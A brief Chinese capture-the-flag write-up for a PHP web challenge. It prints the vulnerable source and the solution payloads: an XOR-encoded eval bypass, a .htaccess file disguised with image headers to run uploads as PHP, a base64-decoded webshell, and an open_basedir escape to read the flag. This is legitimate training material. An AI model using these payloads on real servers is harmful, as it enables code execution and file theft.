补下一分题~
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
给了源码,审计下
有文件上传,但是过滤了.ph后缀,且文件中不能含有<?,否则就die
然后发现变量过滤了一吨,是真一吨。怎么绕过呢
fuzz发现剩下!#$%()*±/:;<>?@]^{},有^那就异或出一些字符吧
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
可以执行phpinfo
然后就可以调用get_the_flag()来到文件上传,我们可以通过上传.htaccess来解析其他文件
但是:htaccess上传的时候不能用GIF89a等文件头去绕过exif_imagetype,因为这样虽然能上传成功,但.htaccess文件无法生效
在.htaccess前添加 #define width 1337 #define height 1337 #在.htaccess是注释符,所以.htaccess文件可以生效
这里的php是7.2的版本,无法使用
<script language="php">
</script>
来绕过对<?的检测
解决方法是将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码
.htaccess
#define width 1337 #define height 1337 AddType application/x-httpd-php .abc php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_adeee0c170ad4ffb110df0cde294aecd/shell.abc"
然后上传base64后的一句话,即可getshell
上传shell成功后,有disable_function 蚁剑绕下
或者
a=ini_set('open_basedir', '..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir', '/');var_dump(show_source('/THis_Is_tHe_F14g'));
解法2:可以通过编码进行绕过,如原来使用utf8编码,如果shell中是用utf16编码则可以Bypass
参考:https://www.dazhuanlan.com/2019/12/17/5df803f62c08a/
http://chen.oinsm.com/2019/12/01/2019SUCTF-EasyWeb/